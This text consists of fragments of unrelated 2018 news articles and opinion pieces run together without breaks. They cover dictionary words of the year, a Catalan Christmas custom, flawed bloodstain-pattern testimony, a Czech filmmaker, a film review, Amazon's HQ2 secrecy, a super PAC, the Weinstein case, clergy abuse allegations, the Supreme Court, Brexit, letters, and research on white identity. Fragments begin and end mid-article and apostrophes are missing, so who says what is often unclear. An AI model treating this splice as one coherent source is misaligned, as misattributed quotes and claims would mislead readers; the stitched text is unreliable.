lexicographically speaking, at least. Oxford Dictionaries has chosen toxic as its international word of the year, selecting it from a shortlist that included such politically inflected contenders as gaslighting, incel and techlash. Katherine Connor Martin, the companys head of U.S. dictionaries, said there had been a marked uptick of interest in the word on its website over the past year. But the word was chosen less for statistical reasons, she said, than for the sheer variety of contexts in which it has proliferated, from conversations about environmental poisons to laments about todays poisonous political discourse to the #MeToo movement, with its calling out of toxic masculinity. In fact, Martin said, the committee initially considered choosing toxic masculinity, until it realized how widespread toxic itself had become. So many different things, she said, are tied together by the word. Oxfords word of the year is chosen to reflect the ethos, mood or preoccupations of a particular year, but also to highlight that English is always changing. Last years winner, to the consternation of many, was youthquake. In 2016, it was post-truth. Toxic derives from the Greek toxikon pharmakon, meaning poison for arrows. (The part of the phrase meaning arrows, rather than poison, became the basis for the word.) The current entry in the online Oxford English Dictionary dates its earliest known printed occurrence to 1664, in a book about forests. Meanwhile, in Justice Prevails as 2018 Word of the Year, Dan Levin writes about Merriam-Websters choice: Justice has arrived in one sense, that is. No, Robert Mueller has not concluded his wide-ranging 18-month investigation into Russias influence on the 2016 presidential election, and sweeping criminal justice legislation has not yet come up for a vote on Capitol Hill. But the dictionary publisher Merriam-Webster on Monday selected justice as its word of the year, inspired by 12 long months of news headlines about the obstruction of justice, the Department of Justice and a certain Supreme Court justice, not to mention high-profile debates over racial and social justice (or the lack thereof). In choosing the noun, Merriam-Webster said justice was looked up on its website a whopping 74 percent more often this year than in 2017. Searches for the term spiked following news stories that featured the word, the company said, often involving the Justice Department, which is overseeing the special counsel investigation into Russian meddling. For many reasons and for many meanings, one things for sure: justice has been on the minds of many people in 2018, the company said in a statement, explaining that the word, often as a concept or used as a legal term, was at the center of many of our national debates in the past year. Students, read both articles, then tell us: What do you think about Oxford and Merriam-Websters 2018 choices for word of the year? Do you think one choice is better than the other? In your opinion, does either word accurately represent the year? Why or why not? What would you choose as word of the year? How does this word reflect the social or political issues of 2018? How does it highlight the way language changes over time? Veronica Sanchis Bencomo never knew what she would encounter when she worked helping to archive photo books and other items at the library of the International Center of Photography . The experience was an education in itself for Ms. Sanchis Bencomo, a Venezuelan photographer, but not in the way you might imagine. Where are the contemporary Latin American women photographers? she wondered. You had the great ones, like Graciela Iturbide, but there wasnt a lot about contemporary ones. Where were my peers? In a region so big, how can there not be any? She has been answering that question almost four years now, after she founded Foto Feminas, a digital platform and library that features a different photographer working in Latin America and the Caribbean each month. With her eye focused on their images and not on their credentials or contacts, Ms. Sanchis Bencomo has convened a virtual community of experienced and emerging photographers alike whose styles range from documentary and photojournalism to fine art and conceptual photography. When I was 5, I stood in my grandparents small, pipe-smoke-filled, well-loved apartment in Barcelona on Christmas Day, getting ready to hit a wooden log. The log wore a painted, smiling face and a red hat; its front was propped up on two legs like a sitting dog, and the rest of its body was covered with a checkered blanket. My grandmother had taken it out of storage, as she did every year, and lovingly set it up on the floor, dropping some clementine peels around its base to show that it had been fed. My role, as the youngest child in the family, was to sing to the log while I hit it with a stick, thus prompting it to defecate presents and nougat for the log was magic, and this is what it did. But this time around, I just couldnt believe it was real. Its not alive, is it? I tentatively asked the adults and cousins gathered. They confirmed that it wasnt, so I went ahead with my understood child duties and whacked the piece of wood. Then I checked underneath the blanket for the surprises its bowel movements yielded the ones that my grandmother surreptitiously placed there earlier in the week and we all happily ate the candy. The log, called the Tio de Nadal, is a staple of Christmastime in many Catalan households and schools. It comes from a rural, pagan practice that probably arose in the Pyrenees in the Middle Ages, though its exact origins are mysterious. (It helps, though, that Catalan culture is rife with a fascination with the scatological our Nativity scenes even include a defecating man, called the Caganer, who is thought to bring luck by fertilizing the earth, and plenty of our swear words and popular sayings feature that bodily function, for which the main etymological dictionary includes more than 75 derived words.) Tradition has it that the log is placed in the home weeks before Christmas, then kids wrap it up with a blanket and feed it food and water. Each day, they find that the food has disappeared overnight, making it clear that the log has eaten it. Then, for Christmas, they hit it while singing. Like other tree-centered winter rituals, the Tio honors the earth and its abundance. Originally, this was done on the winter solstice, and it symbolized rebirth; the log was then burned and its remains kept in the home for protection. These days, Tios are often found in local Christmas markets, where theyre sold as a cherished tradition to residents and photographed as a quirky local oddity by tourists. The investigation sputtered along until 2000, when the Illinois States Attorneys Appellate Prosecutors Office, which routinely handles complex prosecutions for rural counties, took the case to a grand jury. On the eve of the third anniversary of Joels murder, Rea was indicted. Prosecutors had no eyewitnesses, little forensic evidence and no motive. They would rely on a forensic discipline that had helped win circumstantial cases before: bloodstain-pattern analysis. Bloodstain-pattern analysis is rooted in the belief that the drops, spatters and trails of blood at a crime scene are rich repositories of information that can be used to reverse engineer and even reconstruct crimes. Many practitioners are law enforcement officers, not scientists. But their expert testimony often lends a sense of scientific certainty to circumstantial cases, and it can be a powerful tool in the hands of prosecutors. An expert who says, This is what the physical evidence shows, is extremely persuasive, especially in a circumstantial case, said Judy Royal, a staff attorney with the Center on Wrongful Convictions who began working on Reas case in 2003. Jurors dont understand when an expert is overstating findings or going beyond what can be tested and replicated. This fact has been laid bare in cases around the country in which bloodstain-pattern analysis has figured prominently most recently that of Joe Bryan, a former high school principal who was convicted of the 1985 murder of his wife in Clifton, Texas. Bryan was the subject of a two-part investigation by ProPublica and The New York Times Magazine this spring that questioned the accuracy of the bloodstain-pattern analysis used to convict him. The Texas Forensic Science Commission, a national leader in criminal justice reform, found in July that the conclusions of the prosecutions bloodstain-pattern expert, Robert Thorman, were not accurate or scientifically supported. In September, Thorman conceded in an affidavit that some of his conclusions were wrong. Bryan, whose attorneys have asked that his conviction be overturned and whose case is before Texas highest criminal court, has spent 31 years in prison. A judge recently recommended that Bryans conviction stand, finding that Thormans testimony was not important to the case. Bryans and Reas cases are not the only ones in which a bloodstain-pattern analyst has delivered testimony that was later called into question. From Oregon to Texas, from North Carolina to New York, convictions that hinged on the testimony of a bloodstain-pattern analyst have been overturned and the defendants acquitted, or the charges dropped. As recently as this February, a judge vacated the conviction of a Missouri man named Brad Jennings for the 2006 murder of his wife, Lisa, after evidence emerged that supported his claim that his wife committed suicide. Jennings was released from prison after eight years behind bars. Bloodstain-pattern analysiss shortcomings were most clearly on display in the case of an Indiana state trooper named David Camm, who found his wife and two children shot to death in their home in 2000 and was quickly charged with their murders. Over the course of three trials, prosecutors presented a succession of bloodstain-pattern analysts who testified that eight specks of blood found on the T-shirt Camm wore on the night of the crime were high-velocity impact spatter from the shooting. The defense produced its own bloodstain experts, who argued that the specks in question were actually transfer stains blood that blotted Camms T-shirt as he tried to render aid. Mr. Svankmajer was born in 1934, and was 13 when Czechoslovakia came under Communist rule. He studied theater directing and puppeteering, and worked at the Semafor playhouse in Prague before joining the Laterna Magika, an experimental company sometimes called the worlds first multimedia theater. In the 1960s, he joined the Czech Surrealist Group and applied its principles to his art. The audiences were leaving my productions disgusted, he said, because they couldnt understand the avant-garde aesthetics. That was when I realized that cinema is like a kind of time capsule, like a can where you can preserve a stage production and wait for the viewer, he said. I decided to focus on using the language of cinema. But making films in the Czech studio system meant that Mr. Svankmajer had to submit his proposals for approval, then submit the scripts, then the final film, and the censors could always reject the film at any stage. In 1974, after his film Leonardos Diary was presented at the Cannes Film Festival, his work was condemned by a pro-government newspaper. The movie he was working on at the time, Castle of Otranto, came under greater scrutiny, and censors demanded he make many changes. Mr. Svankmajer refused and as a result was banned from filmmaking. He could not finish his movie until 1979 when the prohibition was lifted. I never was a political artist, Mr. Svankmajer said but I am an engaged artist, because Surrealism was always an engaged art. The idea of Surrealism is to change the world thats Marx and to transform life thats Rimbaud, he added, referring to the 19th century French poet. There is one woman in Marwen whose flesh-and-blood analogue we dont see, though she doesnt seem to be entirely allegorical. Her name is Deja, her voice and likeness are supplied by Diane Kruger, and she is a witch whose destructive power can cross the boundary from fantasy into reality. Even though Marwen is governed by Marks will, he is at Dejas mercy, which makes her (among other things) an intriguing metaphor for the ways art can exceed or even defy the intentions of its maker. That means shes a crucial figure in Welcome to Marwen, a film that is at once compulsive in its application of craft and barely in control of its themes and implications. Zemeckiss baby boomer nostalgia the backward-looking embrace of Americana that makes Forrest Gump, Who Framed Roger Rabbit and the Back to the Future movies both charming and reactionary is at full throttle. The sexual subtexts, which arent always so sub-, range from sweetly kinky to mildly creepy to downright gross. And the emotional effects are as startling, and confusing, as their visual counterparts. Zemeckis has mapped more geography in the uncanny valley than most filmmakers. He feels most at home in a world where human and virtual realities commingle and collide, and he uses digitally generated imagery with wit and feeling. The toy action sequences in Welcome to Marwen have a demented precision, an insistence on verisimilitude that reflects Marks obsessive ingenuity. The real-world scenes, though, are stylized in a way that muddies the perspective. Its as if a Wes Anderson movie got stuck inside a Tim Burton movie that the cast has been told is a television sitcom. I dont mean that in a bad way. Or not entirely. There is not much in this movie that feels authentic or fully realized, but its very strangeness makes it hard to forget or dismiss. Carell is a charming, maddening enigma, mawkish and mannered but always, somehow, a magnet for empathy. Do we ever get to know Mark Hogancamp? Not really. Not here. But still, that guy playing so intently with his toys might be onto something profound, even if you cant quite figure out what hes up to. Im talking about Robert Zemeckis. At Dartmouth, Mr. Padilla has worked on the Mahjouba Project, which created an electric moped made from local Moroccan materials. Mahjouba was a great engineering experience, but also an opportunity to give back, he said. Community service is something that I want to continue to do in the future. Even with the FPWA scholarship, Mr. Padilla still has a tuition balance of $6,760, which he is paying down. A recent internship at HIAlabs, a technology product development company, helped him narrow the financial gap. As he heads into next semester, he is trying to secure another internship for the summer. Eventually, Mr. Padilla would like to be an entrepreneur. With his engineering education, he feels like he has already been able to fulfill many of his goals. This year, he created a de-icing machine that can remove ice from asphalt that has not been pretreated, and do so in an energy efficient way. If it ends up taking off, he said, then Ill have my own product that I can market. [What you need to know to start the day: Get New York Today in your inbox.] As cities around the country made bids to land Amazons second headquarters, lawmakers and residents were purposely left in the dark. Amazon required those involved in the process to sign nondisclosure agreements, leaving outsiders outraged when details of the deals were released only after they were finalized. Now, New York lawmakers are taking aim at this kind of secretive process. On Thursday, Councilman Brad Lander of Brooklyn will introduce legislation that would ban New York City from entering into nondisclosure agreements during negotiations for prospective development projects. A similar bill will be introduced in Albany by State Senator Michael N. Gianaris of Queens in the upcoming legislative session. The efforts comes amid a nationwide backlash against Amazon and its HQ2 sweepstakes, which critics said allowed the online retail behemoth to collect data from cities across the nation and resulted in economic development officials offering massive incentives without public debate. In New York, officials gave Amazon city and state tax incentives and a state grant that together is worth roughly $3 billion, and approval to skirt the citys land use review process. A prominent donor plans to raise $10 million in the coming months for a new super PAC to boost Senator Cory Bookers expected presidential campaign marking the first infusion of big money into the Democratic primary and setting the stage for a reckoning within the party over the role of super PACs. Steve Phillips, an influential San Francisco-based Democratic donor and activist, said he would formally file paperwork on Thursday to create the pro-Booker super PAC, Dream United. Mr. Booker, who represents New Jersey, has yet to announce whether he is running, let alone whether he would welcome super PAC support. A first well-funded super PAC of 2020 could aid Mr. Booker in amplifying his message in what is expected to be a historically crowded field, and it speaks to the depth of his support from potential financiers. But such support could also backfire as the grass-roots base of the party is increasingly calling to curtail the political influence of the wealthy. Mr. Phillips said he had already collected $4 million in commitments. And he suggested he would continue collecting money regardless of whether Mr. Booker wanted his support. But some Republicans lauded Ms. Stefaniks willingness to buck the partys leadership. Elise Stefanik is taking a stake in a party that needs new ownership and thats a great thing, said William F. B. OReilly, a longtime Republican operative in New York. It needs people who dont ask permission. It needs people who are willing to be bulls in the china shop. There will only be 13 female Republicans in the House in the next Congress, down from 23. Only one woman, Representative Liz Cheney of Wyoming, holds a top House leadership position. Across the aisle, 35 of the new female members of the House are Democrats compared with only two Republicans, and nine of the Democrats are under the age of 40. Among them is Ms. Ocasio-Cortez, who, in similar ways to Ms. Stefanik, has been tabbed as a rising star in her party. We need Elise Stefanik to speak out on our behalf because as a young women in Congress who is a Republican, she is seriously outnumbered and that makes her role more and more difficult, said Jennifer Nassour, the former head of the Republican Party in Massachusetts. She is taking the frustration of many women in the party and she is putting it into action and holding the party leaders feet to the fire in making them take a close look at whats going on on the Republican side, Ms. Nassour added. I commend her for that because she is really taking a step out there, and not everyone wants to take that leap of faith. Amid her political maneuvering, Ms. Stefanik is also embarking on a literal move: She and her husband, Matthew Manda, recently bought a new home in Schuylerville, N.Y., roughly 100 miles south of her previous address in Willsboro, N.Y. Though a move often does not draw much speculation, her new residence sits near the edge of her congressional district, which could subject her to the perils of redistricting after the 2020 census is completed. Harvey Weinstein arrived in a Manhattan courtroom on Thursday morning hoping a state judge would throw out the remaining criminal charges against him. Several Hollywood actresses sat in the gallery, hoping for the opposite outcome. The last time Mr. Weinstein had appeared in court the same judge, James Burke, had dismissed part of the indictment against him after it was revealed that a police detective on the case had withheld crucial evidence from prosecutors. Since then, Mr. Weinsteins lawyer, Benjamin Brafman, had filed a new motion asking Justice Burke to throw out the remaining sexual assault charges because prosecutors did not share highly exculpatory evidence with the grand jury, including correspondence suggesting the women had remained on friendly terms with Mr. Weinstein after the alleged attacks. He argued police and prosecutorial misconduct had tainted the grand-jurys decision-making. But Justice Burke swept into State Supreme Court at 9:30 a.m. and immediately announced that he would not throw out the remaining counts against the once powerful producer. His decision paved the way for Mr. Weinstein to face trial next year on charges that he raped one woman and forced another to allow him to perform oral sex on her. Justice Burke later released a written opinion. If You Ever Saw this House, You Would Even Say It Glows Joseph DiMartino takes three months to set up his decorations, and six weeks taking them down. Its not competition, he said. I just like making people happy. On Thursday, the State Police said that their investigation of the accident was continuing and forwarded questions about the N.T.S.B.s letter to Schoharie County officials. Ms. Mallery did not respond to requests for comment; her office said she was in meetings. In their more recent letter, federal officials seem exasperated by local intransigence, adding that their pleas repeatedly went unacknowledged. What we have been told is that your schedule is full, Ms. Silbaugh wrote, and you are too busy to respond. The seeming impasse in the investigation is in stark contrast to the violence of the accident and the flurry of developments in its immediate aftermath, including the revelation that the owner of the limousine company that rented the vehicle, Prestige Limousine, was Shahed Hussain, a former F.B.I. informant with a criminal record who has been living in Pakistan. Shortly after the accident, Mr. Hussains son Nauman Hussain, the operator of the company, was charged with criminally negligent homicide. He pleaded not guilty. Ms. Mallerys office is in charge of prosecuting Nauman Hussain. Because of that, Ms. Silbaugh said, federal authorities have allowed Schoharie County first access to the evidence. The N.T.S.B. is an independent federal agency that investigates major transportation accidents. Its mandate is to recommend improvements; it does not have the authority to prosecute. But while some information has been shared with the safety board, including state transportation reports and information on the victims families, Ms. Silbaugh wrote that access to primary, essential evidence had been delayed, resulting in safety-critical evidence being lost. There is no way, she said, her eyes filling with tears. Thats an unjust accusation. The widow of one of Father Timones accusers, Susan Cassinelli-Murphy, 63, said she was particularly upset after hearing that the priest had offered Mass that morning. I dont think he gets it, she said. I feel like saying: Are you serious? Couldnt you apologize to him? I really believe they believed me Father Timone started his career as a high school teacher and priest in the Bronx and several upstate parishes, including St. Josephs Church in Millbrook, N.Y., where he met Timothy P. Murphy as a young man. Mr. Murphy, his widow, Ms. Cassinelli-Murphy, recalled, was the second son in a large Catholic family. He was an altar boy who as a teen became a rebel, popular with classmates and girls, but uninterested in studying. His mother asked Father Timone to take the boy under his wing, she said. The priest began taking Tim on trips in 1967, when he was 13 or 14, according to a police report that Mr. Murphy filed in 2002 with the Dutchess County district attorney. The outings including going to Bash Bish Falls, a secluded park where they would swim in the nude, he told the police. A few times, Father Timone asked him to stay overnight at his residence, the report stated. Father Timone would dry him off after he took a shower and then put powder on his body or ask him to exercise. Sometimes, he asked Tim to lie on his bed, and rubbed ointment on his thighs, legs and buttocks and massaged him. Once, the report said, he used a vibrating massager. This man was obsessed with nudity, and I became a toy for his pleasure without really understanding what was happening, Mr. Murphy wrote in his 2006 memoir, From Crack to the Cross: A Journey of Hope, in which he referred to Father Timone as Father X. He added that Father X kept T-shirts in boys sizes in his dresser and would ask him to wear one without underwear, because the shirt was long. He is the con artist extraordinaire and the liar par excellence, Mr. Moffat told The New York Times before going on. He has no income, but he lives fairly well, entirely by his wits. He gets trapped into being exposed, but he always finds his way out so on to another level. There are all kinds of variations on that theme throughout the play. Reviewing the production for The Times, Mel Gussow hailed Mr. Moffats rich, full portrait, adding: His Falstaff seems himself like a character actor: a man of many parts. He is a self-dramatizer, easily able to switch from barroom roisterer to battlefield campaigner (and coward), while always retaining a comic sense of equilibrium and an affectionate regard for Hal, who will, of course, in the subsequent play, abandon him. Mr. Moffat also appeared at the Delacorte in 1989 in the title role of Shakespeares Titus Andronicus, and in 1992 as Touchstone, the fool who outwits one and all, in As You Like It. With his long face and bushy eyebrows, Mr. Moffat was a familiar figure to audiences, even to fans who could not quite remember his name. He was almost never out of work especially in the 1970s and 80s, his peak years, when he sometimes packed into his annual schedule four movies, several plays in New York or regional theaters and a half-dozen television programs. Mr. Moffat won an Obie for his 1983 portrayal of an artists aging father in an Off Broadway production of Tina Howes Painting Churches. He received a Tony Award nomination for best actor in 1967 for performances in two plays presented by the APA-Phoenix Repertory Company: as Lamberto Laudisi in Pirandellos Right You Are (if You Think You Are) and Hjalmar Ekdal, presiding over a household of lies, in Henrik Ibsens The Wild Duck. He was also nominated for Drama Desk Awards as an abusive husband and father in Joanna McClellan Glasss Play Memory, on Broadway in 1984, and as Larry Slade, the grubby fellow drinker of the saloon philosopher Hickey (Jason Robards Jr.) in a well-received 1985 Broadway revival of ONeills The Iceman Cometh. On television, Mr. Moffat appeared as Dr. Marcus Polk in the ABC soap opera One Life to Live (1968-69), as Rem the android in the CBS science-fiction series Logans Run (1977-78) and as the Rev. Lars Lundstrom in The New Land, the 1974 ABC drama series about Swedish immigrants. He was also seen in episodes of Mannix, Ironside, Gunsmoke and The Defenders. Without bothering to mention that the allegation against Planned Parenthood has been thoroughly debunked, Justice Thomas went on: Some tenuous connection to a politically fraught issue does not justify abdicating our judicial duty. If anything, neutrally applying the law is all the more important when political issues are in the background. Quoting Number 78 of the Federalist Papers, Justice Thomas lectured his colleagues: The Framers gave us lifetime tenure to promote that independent spirit in the judges which must be essential to the faithful performance of the courts role as bulwarks of a limited Constitution, unaffected by fleeting mischiefs. We are not to consult popularity, but instead to rely on nothing but the Constitution and the laws. In other words, we have three conservative justices calling out two other conservative justices as wimps at best, unprincipled strivers for public approval at worst. And this may be just the tip of the iceberg. Now in recess until the second week in January, the court has issued only two opinions in argued cases since the current term began on Oct. 1, a slow start that makes it much too early to take the courts temperature. But its notable that a similar split emerged last month in response to the Trump administrations effort to enlist the court in stopping a trial on the legality of the disputed decision to add a citizenship question to the 2020 census. Only three justices voted to grant the administrations request: Justices Thomas, Alito and Gorsuch. Where were the chief justice and Justice Kavanaugh then? The answer is unknowable from the outside, but the question is crucial. Has it occurred to the Thomas three that something more significant may be at stake than dragging the court into ideological battle? Something like the courts own short-term welfare and long-term legitimacy? We know Chief Justice Roberts is concerned about public perception of the Supreme Court, and of all federal courts, as tools of political partisanship. That concern, which he has expressed repeatedly, finally led him to push back last month against President Trumps latest attack on federal judges. We also know that despite his usually genial demeanor, the chief justice is an isolated figure, scorned on the right as a traitor for having saved the Affordable Care Act and mistrusted on the left for having eviscerated the Voting Rights Act, among other decisions. Its odd to think of this most powerful person in the federal judiciary, 13 years into his tenure, as needing a friend, but perhaps he does, and just maybe Brett Kavanaugh is it. Clearly, there is concern on the right about that very prospect. In a recent blog post on the website American Greatness, a conservative lawyer named Mark Pulliam, who describes himself as having fled California for his current home in Texas, addressed such fears and sought to allay them. Commentators are reading all kinds of silly things into Kavanaughs failure to join Thomas, Alito, and Gorsuch in the Planned Parenthood cases, Mr. Pulliam wrote in an essay titled Kavanaugh: Too Soon to Be Reading Tea Leaves. Good grief, Mr. Pulliam exclaimed. Hes only been sitting on the court for a couple of months still learning where the bathrooms are. If despite Mr. Pulliams fondest wish the newest justice proves an ally for a chief justice caught in the middle, the real test may come when last weeks aggressively implausible decision purporting to render the Affordable Care Act unenforceable reaches the court. If theres any fun to be had these days in contemplating the march of events, The Wall Street Journals editorial response to the decision is not to be missed. That newspaper has been relentlessly anti-Obamacare for years. Now its editorial board is nervous. Texas Obamacare Blunder, the editorials headline read, along with, A judges ruling will be overturned and could backfire on Republicans. The editorial warned that Democrats would use the decision to further pound Republicans for denying health insurance for pre-existing conditions, an issue that proved an albatross for Republican candidates in this falls midterm elections. And heres the really fun part. Back in 2012, Chief Justice Roberts saved the Affordable Care Act from the Republicans. Now influential voices on the right are being raised in prayer for him to save the law for the Republicans. Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram. I have taught and studied negotiation for almost 20 years. I have advised on scores of high-stakes negotiations, ranging from multibillion-dollar mergers to intractable conflicts between governments and armed insurgents. I have been in the room when seemingly impossible deals have materialized and when promising deals have unraveled. Its not often that you can foretell success or failure clearly at the beginning of a negotiation process. But with Brexit, I could. The impasse at which Britain now finds itself with an agreement that no one wants to support except under duress was entirely predictable. Only weeks after the 2016 referendum, I wrote an article for the Harvard Business Review in which I reflected on the portfolio of false promises upon which the Leave campaigners had built their case: Almost none of what was promised is actually possible especially given the EUs leverage and other constraints which means the UK government will have to find a way to sell a lesser deal, or end up with no deal at all. But remember: Constraints can be a source of leverage. UK negotiators might be able to credibly say that they cant possibly go back to their supporters with significantly less than what they promised on the eve of the referendum. In other words, the EU will need to make more concessions to avoid no deal. But the situation is a double-edged sword: The EU might come to the conclusion that since any deal is going to fall short of the extreme promises made in the UK, it is not worth giving any special concessions at all. I hate to say it, but this is precisely where we are today. Prime Minister Theresa May was not among the disingenuous Leave campaigners, but she made two significant mistakes early on as prime minister: First, she focused too much on her own political problems and failed to take seriously the European Unions legitimate fears and constraints. Ignoring the genuine red lines of your negotiation counterpart is often a costly mistake. Mrs. Mays second error was her refusal to manage expectations from the beginning. Instead of disassociating from the false promises of the hard Brexit crowd, she fueled its narrative, making it her own. Was this a naive miscalculation regarding Britains actual bargaining power or a careful political calculation? Its hard to say. Neither is easy to forgive. Either way, this fact-free narrative has left the British people unprepared to support the current deal and stumbling toward a disastrous no deal Brexit. It may not be too late for the prime minister to rescue the negotiation process. But to do so, she must first stop negotiating like an agent and start negotiating like a mediator. There are situations in which we expect agents representing each side to go head to head, trying to get the best possible deal for their respective sides. (Think, for example, of any deal-making where there is a pile of money on the table, waiting to be split.) But then there are negotiations that are so constrained or complex that the parties are lucky if there is even one deal that everyone can live with. (For example, an international climate deal, the Israeli-Palestinian peace process or attempts to resolve the conflict in Syria.) In this type of negotiation, you cant just walk in with a list of demands for the other side. Instead, you must take on the mantle of a mediator and push all sides to make difficult but necessary concessions to avoid disaster. The Democrats have too much of a good thing: More than a dozen creditable candidates are looking to run for president in 2020. A large field isnt in itself worrisome, since the party needs a strong crop to choose from to oust what will probably be a weakened but still formidable President Trump. The problem is the selection process itself and in particular the pre-primary debates from which most voters will form their views of the candidates. Obviously, its a recipe for chaos to have 10 candidates, let alone a dozen, on the stage at once as the Republican Party learned the hard way in 2016. But you cant ruthlessly exclude candidates, either, at least not without depriving some talented dark horses of the chance to reach the front of the pack. Tom Perez, the head of the Democratic National Committee, has said he will announce a solution by the end of the year. If he gets it right, the debates will make the voters job a lot easier. If he gets it wrong, he risks depriving the party of an as-yet unheralded, world-beating talent. What Democrats desperately need is a balanced, deliberative process. They must let candidates prove that they have the charisma to take on our reality-show president and the experience to repair the country after taking office. And they have to give voters a genuine opportunity to see the contenders key personal qualities as well as the meaningful policy differences among them. WASHINGTON Ill never forget the words I read scribbled on the wall when I was first put into a cage in a Cairo courtroom, on Feb. 26, 2012: If defending justice is a crime, then long live criminality. That was the first day of my trial, Case No. 173/2011. (In Egyptian courtrooms, defendants are kept in cages.) Along with 42 other defendants, 17 of them Americans, who worked for international nongovernmental organizations in Egypt, I was charged with operating an organization without a license (not true) and receiving illegal foreign funds (also not true). All of us worked for organizations promoting the rule of law, transparency and democracy. On June 4, 2013, we were found guilty and sentenced to one to five years in prison. The court claimed, with no legal evidence, that we were a threat to national security and were conspiring with foreign agents. But in February of this year, an appeal for a retrial was accepted and in November, it began. Now our ordeal is finally over. On Thursday, a court in Cairo acquitted us of all charges. I am, of course, very happy to see our innocence finally, officially recognized. And more important, I hope that this news brings some needed optimism to Egyptian civil society groups, some of which are still being similarly prosecuted. But that doesnt mean I am able to fully celebrate. Thats how a rigged system works, she said. It was a curious vision coming from a person whose life story, like that of tens millions of Americans who have risen far above their small beginnings, refutes her own thesis. It was curious, also, coming from someone who presumably believes that various forms of rigging are required to un-rig past rigging. Affirmative action in college admissions and aggressive minority recruitment in corporations are also forms of rigging. But however one feels about various types of rigging, the echo of Trump was unmistakable. Its being proven we have a rigged system, the president said at one of his rallies last year. Doesnt happen so easy. But this system gonna be a lot of changes. This is a rigged system. Trumps claim that the system is rigged represents yet another instance of his ideological pickpocketing of progressives. From C. Wright Mills (The Power Elite) to Noam Chomsky (Manufacturing Consent), the animating belief of the far left has been, as Tom Hayden put it, that we live in a false democracy, controlled by an unaccountable, deceitful and shadowy elite. Trump has names for it: the globalists; the deep state; the fake news. Orange, it turns out, is the new red. Of course, Warren and Trump have very different ideas as to just who the malefactors of great wealth really are. Is it Sheldon Adelson or George Soros? The Koch brothers or the Ford Foundation? Posterity will be forgiven if it loses track of which alleged conspiracy to rig the system was of the far-right and which was of the far left. What it will remember is that here was another era in which a president and one of his leading opponents abandoned the prouder traditions of American politics in favor of paranoid ones. Compare Warrens grim message to Bill Clintons sunny one from his first inaugural: There is nothing wrong with America that cannot be cured by what is right with America. At some point, it will be worth asking Senator Warren: Rigged compared to when? A generation ago a black president would have been unthinkable. Two generations ago, a woman on the Supreme Court. And rigged compared to what? Electoral politics in Japan, which have been dominated by a single party for decades? The class system in Brazil, dominated by a single race for centuries? For now, Democratic voters might think twice about embracing a candidate whose dark, distorting ideas about America bear such an uncomfortable resemblance to those of the president they detest. Wouldnt it be nice to have an optimist in the White House once again? Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram, join the Facebook political discussion group, Voting While Female, and sign up for the Opinion Today newsletter. To the Editor: Re Trump Charity Agrees to End Amid Lawsuit (front page, Dec. 19): Once again a Trump entity has been accused of acting illegally and has been forced to shut down. This time, at least several hundred thousand dollars from the Trump Foundation, a charity, was reportedly diverted to private uses such as paying for a portrait of the president, political activities and the renovation of a fountain outside a Trump hotel. Previously, President Trump was forced to return $25 million to students of his shuttered Trump University, a portion of what they say they were defrauded of. When people can go to jail for stealing a pack of gum, why are there these settlements without incarceration for crimes that are substantially more serious? Harlan Kosson Pittsford, N.Y. To the Editor: Re U.S. Ends Mission in Syria as Trump Pulls 2,000 Troops (front page, Dec. 20): Although the extrication of our soldiers from Syria is a laudable goal supported by most Americans , there is every reason to believe that the presidents action to pull our troops out of that country now is ill advised. It is ominous that the pullout is being heralded by mischief-making nations like Russia. President Trump seeks to justify this action as something that is warranted because of the vanquishing of ISIS in Syria. His declaration of victory over the terrorist organization may well prove to be every bit as credible as his ludicrous assertion that through one meeting with North Koreas dictator, Kim Jong-un, the threat of nuclear conflict had vanished. Mr. Trump has told us that he receives his intelligence from shows like Fox and Friends and, in an insult to the top brass of the military, that he knows more than the generals. It is striking that Defense Secretary Jim Mattis, a retired Marine general, elected to go through the revolving door of administration officials, clearly stating his disagreement with the president on the Syria withdrawal as he tendered his resignation on Thursday, departing with honor. Jardina argues in her book that the racial resentment scale reveals a new type of racial prejudice one that is a subtle combination of anti-black affect and the belief that blacks do not adhere to traditional American values associated with the Protestant work ethic. Racial resentment predicts whites opinions toward a wide range of racialized political policies and has a profound impact on political candidate evaluations. It is, quite clearly, a central component to the way in which whites interpret the political and social world. There is an ongoing dispute over the use of such questions to measure racial resentment. Jardina acknowledges that some scholars are critical of this framework and argue that racial resentment entangles conservative principles, like individualism, with racial prejudice. Most recently, Riley Carney and Ryan Enos, political scientists at Harvard, have sought to assess the validity of racial resentment questions in their working paper, Conservatism and Fairness in Contemporary Politics: Unpacking the Psychological Underpinnings of Modern Racism. In survey experiments, Carney and Enos substituted Lithuanians and other nationalities for African-Americans so that the first resentment question would ask for agreement or disagreement with the statement: Lithuanians should work their way up without any special favors. Their conclusion: The results obtained using groups other than blacks are substantively indistinguishable from those measured when blacks are the target group. Decomposing this measure further, we find that political conservatives express only minor differences in resentment across target groups. Far greater differences in resentment toward blacks and other groups can be found among racially sympathetic liberals. In short, we find that modern racism questions appear to measure attitudes toward any group, rather than African-Americans alone. Carney and Enos conclude that the modern racism scales fail to capture attitudes specific to African-Americans. However, the scales do capture a form of racism, both a general resentment that applies to many groups and a specific failure to recognize the unique historical plight of African-Americans. Jardina, whose work I have written about before, agrees that some of this backlash including the election of Donald Trump and the opposition to immigration is rooted in prejudice, racism, and ethnocentrism. But, she adds, many whites reactions to our countrys changing racial landscape do not simply manifest in outward hostility. Amidst these changes, many whites have described themselves as outnumbered, disadvantaged, and even oppressed. They have voiced their anxiety over Americas waning numerical majority, and have questioned what this means for the future of the nation. They have worried that soon they may face discrimination based on their own race, if they do not already. Such fears, in Jardinas view, drive the emergence of white identity as a political issue: These threats, both real and perceived, have, as I will demonstrate, brought to the fore, for many whites, a sense of commonality, attachment, and solidarity with their racial group. They have led a sizable proportion of whites to believe that their racial group, and the benefits that group enjoys, are endangered. The result? This racial solidarity now plays a central role in the way many whites orient themselves to the political and social world. Central to Jardinas argument is the contention that some whites identify with their racial group without feeling prejudice toward racial and ethnic minorities, while others do possess some degree of negative affect toward racial and ethnic minorities without also identifying with their racial group. For example, in the case of support or opposition to domestic spending programs, she writes, Higher levels of white identity and consciousness are actually associated with greater support for spending. By comparison, she continued, racial resentment is associated with support for decreasing spending on all groups, including whites. This finding leads, in turn, to another Jardina assertion: Many whites are not motivated to oppose immigration because they dislike Latinos. They are also not inclined to support Donald Trump because they feel negatively about people of color in the United States. Rather, Jardina puts forward the argument that these whites feel, to some extent, that the rug is being pulled out from under them that the benefits they have enjoyed because of their race, their groups advantages, and their status atop the racial hierarchy are all in jeopardy. Put another way, she makes the case that white identity is not synonymous with racial 